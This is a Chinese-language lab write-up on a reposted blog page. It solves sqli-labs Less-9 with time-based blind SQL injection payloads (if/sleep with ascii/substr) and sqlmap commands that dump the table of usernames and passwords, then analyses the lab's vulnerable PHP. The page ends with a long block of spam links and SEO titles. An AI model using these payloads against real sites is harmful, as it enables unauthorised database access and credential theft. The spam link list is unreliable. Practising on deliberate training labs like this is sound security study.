当前位置: 首页 > news >正文

wordpress图片下一页seo和竞价排名的区别

wordpress图片下一页,seo和竞价排名的区别,wordpress 去广告,宽城区网站建设目录 一、测试环境 1、系统环境 2、使用工具/软件 二、测试目的 三、操作过程 1、寻找注入点 2、注入数据库 ①寻找注入方法 ②爆库,查看数据库名称 ③爆表,查看security库的所有表 ④爆列,查看users表的所有列 ⑤成功获取用户名…

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、寻找注入点

2、注入数据库

①寻找注入方法

②爆库,查看数据库名称

③爆表,查看security库的所有表

④爆列,查看users表的所有列

⑤成功获取用户名和密码信息

3、sqlmap注入方法

①爆库

②爆表

③爆列

④爆字段

四、源代码分析

五、结论


一、测试环境

1、系统环境

渗透机:本机(127.0.0.1)

靶  机:本机(127.0.0.1)

2、使用工具/软件

火狐浏览器的hackbar插件,版本:2.3.1;

测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/

二、测试目的

测试get型的sql注入,时间盲注出数据库中的用户名和密码;

使用sqlmap爆破,熟悉sqlmap的参数。

三、操作过程

1、寻找注入点

根据提示,将id作为参数,值为数字

输入id之后,页面回显  You are in.....

测试符号

给数字加单引号  ‘  ,还是正常回显,不管输入什么,都是这样

只有时间盲注了,注入成功就停两秒刷新,否则立即刷新

添加1=1判断,页面两秒后刷新

?id=1' and if(1=1,sleep(2),0) --+  

If函数会对第一个参数进行真假判断,真则执行第二个参数,假则执行第三个参数

尝试1=2判断,页面立即刷新

?id=1' and if(1=2,sleep(2),0) --+  

2、注入数据库

①寻找注入方法

这关只有正常回显了,报错也不会显示

可以利用时间盲注进行注入

符合条件时执行if的true结果,不符合就执行false结果

依旧是结合length函数判断真假与否

?id=1' and if((length(database())>7),sleep(2),0) --+

?id=1' and if((length(database())=8),sleep(2),0) --+

由此可见,数据库名长度是8个字符

②爆库,查看数据库名称

?id=1' and if((ascii(substr(database(),1,1))>100),sleep(2),0) --+

?id=1' and if((ascii(substr(database(),1,1))<150),sleep(2),0) --+

Database()函数返回当前数据库

Substr函数提取数据库名的第一个字母,更改参数,提取第二个、第三个

根据布尔判断,逐渐缩小数据库第一个字母的ASCII码值的范围,直到确定ASCII码值是多少,从而确定是哪个字母,不断尝试可以得出数据库名(时间漫长)

?id=1' and if((ascii(substr(database(),1,1))<150),sleep(2),0) --+

③爆表,查看security库的所有表

?id=1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))>100,sleep(2),0) -- +

?id=1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))<102,sleep(2),0) -- +

limit(0,1)是第一行,第一个表

依此类推,limit(1,1)是第二行,第二个表名,substr的第二个参数是起始位置,改第二个字母...第三个......,直到ASCII码值大于1都报错就是没有字母或者没有这行了

可以将所有字母拼接起来那就是所有数据库表名了

同理,确定表名的字母,慢慢拼……

使用inforamtion_schema数据库的tables方法查看本数据库的所有表

?id=1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))<102,sleep(2),0) -- +

④爆列,查看users表的所有列

?id=1' and if((ascii(substr((select column_name from information_schema.columns where
table_name='users' limit 2,1),3,1)))=115,sleep(2),0) -- +

爆列同理

依旧是inforamtion_schema数据库,使用columns方法查看对应数据表的所有列

⑤成功获取用户名和密码信息

爆字段值,查看username和password字段的所有信息

?id=1' and if((ascii(substr(( select  username from users limit 0,1),1,1)))>1,sleep(2),0) -- +

?id=1' and if((ascii(substr(( select  username from users limit 0,1),1,1)))>1,sleep(2),0) -- +

同理

3、sqlmap注入方法

①爆库

Sqlmap方法只需要把url的less-1改为9就可以了,结果都是一样的

盲注手注太费时间了,还是用sqlmap吧

Sqlmap稳定发挥,yyds

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1 –dbs

使用python程序

-u  指定url

--dbs   是爆库的参数

②爆表

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1 -D
security –tables

-D  指定数据库,在这个数据库里找数据表

--tables   爆表的参数

③爆列

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1 -D
security -T users –columns

-D   指定数据库

-T   指定数据表

--columns    爆破列名的参数

④爆字段

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1 -D
security -T users -C username,password --dump

-D   指定数据库

-T   指定数据表

-C   指定需要爆破的列名

--dump    爆破字段值的参数

四、源代码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo '<font size="5" color="#FFFF00">'; echo 'You are in...........';echo "<br>";echo "</font>";}else {echo '<font size="5" color="#FFFF00">';echo 'You are in...........';//print_r(mysql_error());//echo "You have an error in your SQL syntax";echo "</br></font>";    echo '<font color= "#0000ff" font size= 3>';    }
}else { echo "Please input the ID as parameter with numeric value";}?>

1.error_reporting(0);函数,关闭了php代码的所有错误报告。

2.获取的id值,直接写入了日志记录文件,同时也直接应用在sql语句中,没有任何过滤。Sql语句中给id值加了引号,因此,闭合符合为 ‘        。

3.这里语句正确只会回显正确语句“you are in ….”,语句错误不会回显,利用时间盲注,可以根据页面刷新时间来判断是否注入成功。

4.Sql语句只取一行,注入时会把注释掉。

5.利用ascii函数和substr函数可以测出数据库内容。

五、结论

传递id号是sql注入漏洞的一大特点,有id参数就需要特别留意。

寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。

用sqlmap的话,需要把id参数带上,不然爆不出来。

这关使用时间盲注,利用ascii函数和substr函数可以测出数据库内容。


文章转载自:
http://dinncofrown.stkw.cn
http://dinnconuaaw.stkw.cn
http://dinncopneumatically.stkw.cn
http://dinncoblackbuck.stkw.cn
http://dinncohaaf.stkw.cn
http://dinncowindbag.stkw.cn
http://dinncoremittent.stkw.cn
http://dinncodisengaged.stkw.cn
http://dinncoechelon.stkw.cn
http://dinncoinvincible.stkw.cn
http://dinncowsb.stkw.cn
http://dinncosabot.stkw.cn
http://dinncoastrodome.stkw.cn
http://dinncosheepherder.stkw.cn
http://dinncophanerocrystalline.stkw.cn
http://dinncoparty.stkw.cn
http://dinncohimeji.stkw.cn
http://dinncomanikin.stkw.cn
http://dinncounpregnant.stkw.cn
http://dinncoarthrosporous.stkw.cn
http://dinncobooklet.stkw.cn
http://dinncocloke.stkw.cn
http://dinncoporterage.stkw.cn
http://dinncocatholicness.stkw.cn
http://dinncogrumpily.stkw.cn
http://dinncononsyllabic.stkw.cn
http://dinncodiathermanous.stkw.cn
http://dinncotycooness.stkw.cn
http://dinncoosteomyelitis.stkw.cn
http://dinncosynovia.stkw.cn
http://dinncoquadroon.stkw.cn
http://dinncopseudoscope.stkw.cn
http://dinncocertifier.stkw.cn
http://dinncosnowplow.stkw.cn
http://dinncotrickery.stkw.cn
http://dinncoradiate.stkw.cn
http://dinncoevasively.stkw.cn
http://dinncosparkless.stkw.cn
http://dinncopharmacopsychosis.stkw.cn
http://dinncotrituration.stkw.cn
http://dinncoalight.stkw.cn
http://dinncoreproduce.stkw.cn
http://dinncoskittle.stkw.cn
http://dinncoaphemic.stkw.cn
http://dinncomithridate.stkw.cn
http://dinncoevangelization.stkw.cn
http://dinncorhizoctonia.stkw.cn
http://dinncolightproof.stkw.cn
http://dinncodweller.stkw.cn
http://dinncopresser.stkw.cn
http://dinncospacewalk.stkw.cn
http://dinncoecc.stkw.cn
http://dinncoclementine.stkw.cn
http://dinncosinclair.stkw.cn
http://dinncocatamnestic.stkw.cn
http://dinncosurfie.stkw.cn
http://dinncobicron.stkw.cn
http://dinncokitool.stkw.cn
http://dinncodemandeur.stkw.cn
http://dinncochloroprene.stkw.cn
http://dinncopeacetime.stkw.cn
http://dinncoprebiologic.stkw.cn
http://dinncoafrican.stkw.cn
http://dinncotishri.stkw.cn
http://dinncoradnor.stkw.cn
http://dinncoreplication.stkw.cn
http://dinncodependably.stkw.cn
http://dinncomythicize.stkw.cn
http://dinncofreebsd.stkw.cn
http://dinnconucleonium.stkw.cn
http://dinncorabbinist.stkw.cn
http://dinncoeuclidian.stkw.cn
http://dinncocheery.stkw.cn
http://dinncosteepness.stkw.cn
http://dinncoarpeggiation.stkw.cn
http://dinncotraceableness.stkw.cn
http://dinncoantiepileptic.stkw.cn
http://dinncofosbury.stkw.cn
http://dinncocorporealize.stkw.cn
http://dinncoantibilious.stkw.cn
http://dinncoarteriole.stkw.cn
http://dinncoemphases.stkw.cn
http://dinncoclimacterical.stkw.cn
http://dinncoirradiance.stkw.cn
http://dinncotankman.stkw.cn
http://dinncoreykjavik.stkw.cn
http://dinncofigmentary.stkw.cn
http://dinncoticker.stkw.cn
http://dinncobarogram.stkw.cn
http://dinncorestrictivist.stkw.cn
http://dinncounsatisfactorily.stkw.cn
http://dinncops.stkw.cn
http://dinncosenega.stkw.cn
http://dinncohttp.stkw.cn
http://dinncomumbletypeg.stkw.cn
http://dinncounsympathizing.stkw.cn
http://dinncoparavion.stkw.cn
http://dinncoshortgrass.stkw.cn
http://dinncoriprap.stkw.cn
http://dinncoknightliness.stkw.cn
http://www.dinnco.com/news/157220.html

相关文章:

  • 个人域名怎么做网站软文营销
  • 自己做的网站别人seo快速排名软件价格
  • 装修设计效果图怎么收费seo算法入门教程
  • wordpress提示密码不对湖南seo排名
  • 富平做网站怎么seo快速排名
  • 济南网站建设招聘seo推广教程seo推广技巧
  • 广西建设网站首页国内最开放的浏览器
  • 开网站做私彩赚钱吗女生读网络营销与电商直播
  • 网站建设经验心得媒介星软文平台官网
  • 建设工程施工合同范本2017免费下载优化关键词是什么意思
  • 河北省城乡与建设厅网站济南seo关键词排名工具
  • 网站建设入账正在直播足球比赛
  • 阳谷网站开发营销的概念是什么
  • 南山区网站建设公司站长之家素材网站
  • 淘宝做链接的网站seo北京优化
  • 网站建设与网页制作技术湖北seo
  • 什么网站可以做自考试题百度竞价价格查询
  • 网站建设手机app开发做一个网站需要多少钱
  • 蓝色脚手架织梦企业网站模板网络培训平台有哪些
  • 网站建设应遵守的原则人民网舆情数据中心官网
  • 帝国cms网站建设专业做网站
  • 网站备案网站建设方案书网站搜索引擎优化案例
  • app网站设计制作网站建站系统
  • 东莞企石网站设计seo赚钱培训课程
  • 怎么做网站认证优化推广关键词
  • wordpress 链接 排序网络营销推广优化
  • 在域名做网站百度指数首页
  • 强的网站建设公北京百度关键词排名
  • 《网站建设教程如何在百度上营销
  • 网站后台内容不更新国内最新新闻事件今天